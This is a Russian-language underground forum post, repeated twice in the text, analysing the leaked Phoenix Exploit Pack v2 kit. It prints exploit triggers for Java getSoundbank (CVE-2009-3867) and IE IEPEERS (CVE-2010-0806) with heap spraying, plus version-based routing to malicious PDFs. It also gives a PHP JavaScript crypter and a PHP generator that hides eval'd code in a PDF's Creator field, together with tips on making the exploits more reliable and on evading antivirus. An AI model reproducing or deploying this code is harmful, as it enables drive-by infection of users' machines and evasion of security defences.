phoenix exploit pack v2
Notice: Файлы к статье, тут, пароль: datafrog.biz
Notice: Если заметите ошибки, неточности или у вас есть какие то дополнения, прошу отписать их в пм, все будет исправлено, дополнено.
Notice: В папке /tmp лежит снятый кеш сплоита
Разбор сабжа второй версии благополучно снятого in the wild. Мир не без добрых людей поэтому некто не закрыл папку tmp на доступ из вне, тем самым дал слить весь кеш связки. Описание связки файл note.txt
Изменяюсь за транслит, но другого описания нету, а перебивать это на русский мне лень.
И так выдача под ишака файл ie.html, как и заявлено в описание выше, ява сплоит отдается самым первым, deserialize сплоит я рассматривать не буду, он крайне не надежен и портит стату, поэтому перейдем сразу к getSoundBank CVE-2009-3867 (файл AdgredY.java) Надо так же заметить что для явы 5.0-16 и 6.0-10 отдается deserialize, а вот уже 5.17-21 и 6.11-16 как раз то что нам нужно. Вся эксплуатация сводится к нескольким строкам
В общем один в один как и в metasploite, только обфусцировали и зачем то объединили с deserialize. Ведь getSoundBank покрывает все версии 5.0-21, 6.0-16 причем его успешно можно переписать для работы во всех браузерах ( в опере и сафари у него проблемы с хипом, ибо в отличие от остальных браузеров которые исполняют в отдельном процессе, опера и сафари юзают свое адресное пространство ) отказавшись от нестабильного хип спрея полностью, что к тому же увеличит скорость срабатывания.
Итак идем дальше js выдача, покрыта довольно посредственным криптором который почему то даже не обфусцировал переменные, хотя по сути должен. Упрощенная вариация на php
В расшифрованной выдаче для шестого ишака файл deie.html, пропускаем mdac и сразу смотрим на флеш, интересен он тем, что не как обычно декриптует зашитый в него другой флеш файл эксплуатирующий уязвимость и пускает его в лоадер. Используя ExternalInterface ( подробнее в этой статье, откуда собственно и был взят метод ибо имена калбеков и id флешь файла одинаковые ) определяется калбек функция, которая вызывается из js скрипта и в виде параметра уже передает файл эксплуатирующий уязвимость, сорец ActionScript'а в файле flash.as В фениксе используются два флешь сплоита, первый CVE-2007-0071/описание и уже поновее CVE-2009-1869/описание. Если бы CVE-2009-1869 был понадежнее можно было бы убрать первый сплоит, т.к. он покрывает все его версии. Кстати говоря в фениксе собирается отдельный флешь для каждой девятой версии, я в свое время тестил сборку для 115 на все остальных и она отлично их била, хотя возможно это все же прибавляет стабильности.
Теперь посмотрим IEPEERS/CVE-2010-0806 который если верить описанию интересно модифицирован, ниже его вид под 7 и 6 ишак соответственно, естественно ненужное поскипано.
С виду изменений не видно и тупо взято опять же с metasploit'а, остается наедятся что в шелкоде есть все же что то интересное.
Приведенный в читабельный вид шеллкод вы можете посмотреть в файле sc.asm или тут с подсветкой синтаксиса. Качество кода шелкода оставляет желать лучшего, по нему видно что человек писавший его мало знаком с ассемблером, к тому же в конце шелкода после закачки и запуска лоадера ( странно в описание обещали что запуск будет совершен после закрытие браузера ), шелкод повторно получает temp папку дописывает к ней имя crash.php ( видимо это надо было дописать к линку ) и ломится по пустому урлу, смысла в этом никакого нету, видимо это просто не доделана заготовка на будущие, что то типа рапорт на связку о успешном запуске файла. Единственная модификация, я бы даже сказал отличие от простых шелкодов это
хочется сказать: ну есть же pushad/popad, н оне это главное, получается что шелкод не просто завершается ( или как некоторые просто завешивают тред ), а пытается вернуть управление обратно, вообще в плане эксплоитов user-after-free коим является iepeers такое теоретически возможно, единственное что не мешало бы сделать почистить за собой хип спрей, под который в данном сплоите выделяется 141 мб памяти. Если будет время как нить поэкспериментирую в этом направление.
И остается рассмотреть пдф эксплоиты коих аж 5 штук, начнем сразу с последнего libtiff/. Который опять же тупо слизан с metasploit с его ROP ( Return-Oriented Programming ) DEP bypass'ом, единственное что он пожат не просто Gzip а ASCII85Decode ( подробнее в этой теме ), анпаком которого видимо до сих пор не владеют большинство антивирусов. Я бы мог по более разглагольствовать про этот замечательный эксплоит, но увы у меня пока не было времени потестить его в разных условиях.
Все остальные пдф сплоиты имеют следующий js.
т. е. Основное тело лежит в как бы это сказать, в объекте который по идеии должен описывать толе создателя документа, толе программу которой создан был документ, как уже стало ясно туда можно записать все что угодно. Впервые, похожая техника использовалась в neosploit'е и описана здесь. Только вместо creator используется анотация. Рассматривая в сплоитах особо нечего, их расшифрованный js вы можете посмотреть в файлах all.js и newplayer.js, первый содержит Collab.collectEmailInfo/BID:27641, util.printf/BID:30035, app.doc.Collab.getIcon/BID:34169, а второй только media.newPlayer.BID:37331/анализ ( кстати, BID анаграмма 31337 ). Хотелось бы заметить пару моментов первый это необычно получение версии ридера, ведь есть же app.viewerVersion, хотя с другой стороны это правильно раз эксплуатируется уязвимость в js функах ридера, то правильно будет как раз смотреть его версию.
И второе замечание, я вот не понимаю зачем юзают util.printf, он крайне не стабильный ( мб и есть стабильная эксплуатация но мне о ней не известно ) и слишком ресурсоемкий выделять 350 метров для хипа это слишком круто. Да и зачем он нужен если более стабильный Collab.getIcon покрывает все версии которые подвержены util.printf, а media.newPlayer полностью покрывает их обоих к тому же пытается, хоть и крайне нестабильно пробить даже 7 версию ридера, хотя она даже не заявлена на securityfocus в списке уязвимых.
Ниже я попробовал воссоздать генерацию пдф файлов где основной код спрятан в creator.
Не так уж и сложно, кстати не пытайтесь проверить в foxit reader он видимо не поддерживает this.creator.
Ну что ж видимо все, рассказывать больше нечего, да и не хочется, уж больно я запарился писать сей текст, на последок скажу, что рассмотренная здесь связка стоит 2к зеленых рублей и по отзывам является одной из самых хороших на рынке. Если все это будет кому то интересно, а главное если у меня появится время и желание в следующий раз я собираюсь разобрать элеонору 1.4, опять же если не появится чего нибудь по интереснее.
Источник: http://datafrog.biz/topic/8/
Добавлено в [time]1271855925[/time]
Зеркало: xss.pro/
Зеркало: exploit.in
Notice: Файлы к статье, тут, пароль: datafrog.biz
Notice: Если заметите ошибки, неточности или у вас есть какие то дополнения, прошу отписать их в пм, все будет исправлено, дополнено.
Notice: В папке /tmp лежит снятый кеш сплоита
Разбор сабжа второй версии благополучно снятого in the wild. Мир не без добрых людей поэтому некто не закрыл папку tmp на доступ из вне, тем самым дал слить весь кеш связки. Описание связки файл note.txt
Изменяюсь за транслит, но другого описания нету, а перебивать это на русский мне лень.
И так выдача под ишака файл ie.html, как и заявлено в описание выше, ява сплоит отдается самым первым, deserialize сплоит я рассматривать не буду, он крайне не надежен и портит стату, поэтому перейдем сразу к getSoundBank CVE-2009-3867 (файл AdgredY.java) Надо так же заметить что для явы 5.0-16 и 6.0-10 отдается deserialize, а вот уже 5.17-21 и 6.11-16 как раз то что нам нужно. Вся эксплуатация сводится к нескольким строкам
Код:
s4 = System.getProperty("java.version");
if (s4.indexOf("1.6.0_11") != -1 || ... ) {
s10 = AdgredY.repeat(47, 302);
s10 = new StringBuilder().append("file://").append(s10).append("Z%Z%Z%Z%Z%Z%").toString();
}
if (s4.indexOf("1.5.0_17") != -1 || ...) {
s10 = AdgredY.repeat(47, 304);
s10 = new StringBuilder().append("file://").append(s10).append("$\"$\"$\"$\"$\"$\"").toString();
}
mem = spray(s13, "90909090");
javax.sound.midi.MidiSystem.getSoundbank(new java.net.URL(s10));
В общем один в один как и в metasploite, только обфусцировали и зачем то объединили с deserialize. Ведь getSoundBank покрывает все версии 5.0-21, 6.0-16 причем его успешно можно переписать для работы во всех браузерах ( в опере и сафари у него проблемы с хипом, ибо в отличие от остальных браузеров которые исполняют в отдельном процессе, опера и сафари юзают свое адресное пространство ) отказавшись от нестабильного хип спрея полностью, что к тому же увеличит скорость срабатывания.
Итак идем дальше js выдача, покрыта довольно посредственным криптором который почему то даже не обфусцировал переменные, хотя по сути должен. Упрощенная вариация на php
Код:
$arr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890(){}!=<>.`@~';,[]$%^&*-+|/:?_•# ";
$frt = str2arr($arr);
$scd = str2arr(str_shuffle($arr));
$cnt = str2arr("window.alert('asd');");
$ret = array_map(create_function('$a','global $frt,$scd;return $scd[array_search($a,$frt)];'),$cnt);
$body = '<script>
var var2 = new Array({FIRST});
var var3 = new Array({SECOND});
var var1 = "{CONTENT}";
var var4 = "";
for (var var5 = 0;var5 < var1.length;var5 ++) {
for (var var6 = 0;var6 < var2.length; var6 ++) {
if (var1.charCodeAt(var5) == var3[var6].charCodeAt(0)) {
var4 += var2[var6];
break;
}
}
}
eval(var4);
</script>';
$body = str_replace("{FIRST}",'"'.implode('","',$frt).'"',$body);
$body = str_replace("{SECOND}",'"'.implode('","',$scd).'"',$body);
$body = str_replace("{CONTENT}",join($ret),$body);
$i = preg_match_all("/var (var\d+)/",$body,$arr);
for ($i = preg_match_all("/var (var\d+)/",$body,$arr);$i --;)
$body = str_replace($arr[1][$i],make_str(8),$body);
die(preg_replace("/[\r\n\t]+/","",$body));
function str2arr($str) {
preg_match_all("/./s",$str,$arr);
return $arr[0];
}
function make_str($len) {
$sux = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_";
return substr(preg_replace("/\d*/","",str_shuffle($sux),1),0,$len);
}
В расшифрованной выдаче для шестого ишака файл deie.html, пропускаем mdac и сразу смотрим на флеш, интересен он тем, что не как обычно декриптует зашитый в него другой флеш файл эксплуатирующий уязвимость и пускает его в лоадер. Используя ExternalInterface ( подробнее в этой статье, откуда собственно и был взят метод ибо имена калбеков и id флешь файла одинаковые ) определяется калбек функция, которая вызывается из js скрипта и в виде параметра уже передает файл эксплуатирующий уязвимость, сорец ActionScript'а в файле flash.as В фениксе используются два флешь сплоита, первый CVE-2007-0071/описание и уже поновее CVE-2009-1869/описание. Если бы CVE-2009-1869 был понадежнее можно было бы убрать первый сплоит, т.к. он покрывает все его версии. Кстати говоря в фениксе собирается отдельный флешь для каждой девятой версии, я в свое время тестил сборку для 115 на все остальных и она отлично их била, хотя возможно это все же прибавляет стабильности.
Теперь посмотрим IEPEERS/CVE-2010-0806 который если верить описанию интересно модифицирован, ниже его вид под 7 и 6 ишак соответственно, естественно ненужное поскипано.
Код:
<style type='text/css'>.css {behavior: url(#default#userData);}</style>
<MARQUEE id='mrq' class='css'></MARQUEE>
try {
for (i = 1; i <10; i ++ ) {
mrq.setAttribute('SnaQTD',document.location);
}
mrq.setAttribute('SnaQTD',document.getElementsByName('style'));
var ifr=document.getElementById('hello');
hello.location.href='about:\u0c0c\u0c0c\u0c0c\u0c0cblank';
} catch(e) {}
Код:
function MAKEHEAP() {
// skip
var bdy = document.createElement('body');
bdy.addBehavior('#default#userData');
document.appendChild(bdy);
try {
for (i=0; i<10; i++) {
bdy.setAttribute('s',window);
}
} catch(e){}
window.status+='';
}
function IEPEERS() {
var gg=document.createElement('div');
gg.setAttribute('id','f');
document.body.appendChild(gg);
document.getElementById('f').innerHTML="<button id='atk' onclick='MAKEHEAP();' style='display:none'></button>";
document.getElementById('atk').onclick();
}
С виду изменений не видно и тупо взято опять же с metasploit'а, остается наедятся что в шелкоде есть все же что то интересное.
Приведенный в читабельный вид шеллкод вы можете посмотреть в файле sc.asm или тут с подсветкой синтаксиса. Качество кода шелкода оставляет желать лучшего, по нему видно что человек писавший его мало знаком с ассемблером, к тому же в конце шелкода после закачки и запуска лоадера ( странно в описание обещали что запуск будет совершен после закрытие браузера ), шелкод повторно получает temp папку дописывает к ней имя crash.php ( видимо это надо было дописать к линку ) и ломится по пустому урлу, смысла в этом никакого нету, видимо это просто не доделана заготовка на будущие, что то типа рапорт на связку о успешном запуске файла. Единственная модификация, я бы даже сказал отличие от простых шелкодов это
Код:
push eax
push ebx
push ecx
push edx
push esi
push edi
push ebp
pushfd
; …
popfd
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
pop eax
retn
хочется сказать: ну есть же pushad/popad, н оне это главное, получается что шелкод не просто завершается ( или как некоторые просто завешивают тред ), а пытается вернуть управление обратно, вообще в плане эксплоитов user-after-free коим является iepeers такое теоретически возможно, единственное что не мешало бы сделать почистить за собой хип спрей, под который в данном сплоите выделяется 141 мб памяти. Если будет время как нить поэкспериментирую в этом направление.
Код:
var lv=Pdf1.GetVersions();
var fi=/EScript=([^,]+),/;
var fif=/AcroForm=([^,]+),/;
lvf=lv.match(fif)[1].split('.');
lv=lv.match(fi)[1].split('.');
sv=parseInt(lv[0]);
lv=parseInt(lv.join(''));
lvf=parseInt(lvf.join(''));
if ((sv==8)&&(lv<=812))
{
SHOWPDF('tmp/geticon.pdf');
}
else if (lv==710)
{
SHOWPDF('tmp/printf.pdf');
}
else if (((sv==6)||(sv==7))&&(lv<711))
{
SHOWPDF('tmp/collab.pdf');
}
else if ((lv>812)&&(lv<820))
{
SHOWPDF('tmp/newplayer.pdf');
}
else if ((sv==9)&&(lvf<931))
{
SHOWPDF('tmp/libtiff.pdf');
}
И остается рассмотреть пдф эксплоиты коих аж 5 штук, начнем сразу с последнего libtiff/. Который опять же тупо слизан с metasploit с его ROP ( Return-Oriented Programming ) DEP bypass'ом, единственное что он пожат не просто Gzip а ASCII85Decode ( подробнее в этой теме ), анпаком которого видимо до сих пор не владеют большинство антивирусов. Я бы мог по более разглагольствовать про этот замечательный эксплоит, но увы у меня пока не было времени потестить его в разных условиях.
Все остальные пдф сплоиты имеют следующий js.
Код:
eval(unescape(this.creator.replace(/z/igm,'%'))
т. е. Основное тело лежит в как бы это сказать, в объекте который по идеии должен описывать толе создателя документа, толе программу которой создан был документ, как уже стало ясно туда можно записать все что угодно. Впервые, похожая техника использовалась в neosploit'е и описана здесь. Только вместо creator используется анотация. Рассматривая в сплоитах особо нечего, их расшифрованный js вы можете посмотреть в файлах all.js и newplayer.js, первый содержит Collab.collectEmailInfo/BID:27641, util.printf/BID:30035, app.doc.Collab.getIcon/BID:34169, а второй только media.newPlayer.BID:37331/анализ ( кстати, BID анаграмма 31337 ). Хотелось бы заметить пару моментов первый это необычно получение версии ридера, ведь есть же app.viewerVersion, хотя с другой стороны это правильно раз эксплуатируется уязвимость в js функах ридера, то правильно будет как раз смотреть его версию.
Код:
var h = app.plugIns;
for (var f=0; f < h.length; f++)
{
if (h[f].name=='EScript')
{
var i=h[f].version;
}
}
И второе замечание, я вот не понимаю зачем юзают util.printf, он крайне не стабильный ( мб и есть стабильная эксплуатация но мне о ней не известно ) и слишком ресурсоемкий выделять 350 метров для хипа это слишком круто. Да и зачем он нужен если более стабильный Collab.getIcon покрывает все версии которые подвержены util.printf, а media.newPlayer полностью покрывает их обоих к тому же пытается, хоть и крайне нестабильно пробить даже 7 версию ридера, хотя она даже не заявлена на securityfocus в списке уязвимых.
Ниже я попробовал воссоздать генерацию пдф файлов где основной код спрятан в creator.
Код:
$tpl =
"%PDF-1.0\n".
"1 0 obj<</Type/Catalog/Pages 2 0 R /Names 3 0 R >>endobj\n".
"2 0 obj<</Type/Pages/Count 1/Kids[ 4 0 R ]>>endobj\n".
"3 0 obj<</JavaScript 5 0 R >>endobj\n".
"4 0 obj<</Type/Page/Parent 2 0 R /Contents 12 0 R>>endobj\n".
"5 0 obj<</Names[(A)6 0 R ]>>endobj\n".
"6 0 obj<</JS 9 0 R/S/JavaScript>>endobj\n".
"7 0 obj<</Creator 8 0 R>>endobj\n".
"8 0 obj<</Filter/FlateDecode/Length {CRT_LENGTH}>>\n".
"stream\n".
"{CRT_STREAM}\n".
"endstream\n".
"endobj\n".
"9 0 obj<</Filter/FlateDecode/Length {JS_LENGTH}>>\n".
"stream\n".
"{JS_STREAM}\n".
"endstream\n".
"endobj\n".
"trailer<</Info 7 0 R /Root 1 0 R /Size 11>>\n";
$js = "eval(unescape(this.creator.replace(/z/igm,'%')));";
$cnt = "app.alert('hello');";
$cnt = str2arr($cnt);
$cnt = array_map(create_function('$a','return sprintf("%02x",ord($a));'),$cnt);
$cnt = "z".implode("z",$cnt);
$js_gz = gzcompress($js);
$cn_gz = gzcompress($cnt);
$ret = str_replace("{CRT_LENGTH}",strlen($cn_gz),$tpl);
$ret = str_replace("{CRT_STREAM}",$cn_gz,$ret);
$ret = str_replace("{JS_LENGTH}",strlen($js_gz),$ret);
$ret = str_replace("{JS_STREAM}",$js_gz,$ret);
header("Content-Length: ".strlen($ret));
header("Content-Disposition: inline; filename=test.pdf");
header('Content-type: application/pdf');
die($ret);
function str2arr($str) {
preg_match_all("/./s",$str,$arr);
return $arr[0];
}
Не так уж и сложно, кстати не пытайтесь проверить в foxit reader он видимо не поддерживает this.creator.
Ну что ж видимо все, рассказывать больше нечего, да и не хочется, уж больно я запарился писать сей текст, на последок скажу, что рассмотренная здесь связка стоит 2к зеленых рублей и по отзывам является одной из самых хороших на рынке. Если все это будет кому то интересно, а главное если у меня появится время и желание в следующий раз я собираюсь разобрать элеонору 1.4, опять же если не появится чего нибудь по интереснее.
Источник: http://datafrog.biz/topic/8/
Добавлено в [time]1271855925[/time]
Зеркало: xss.pro/
Зеркало: exploit.in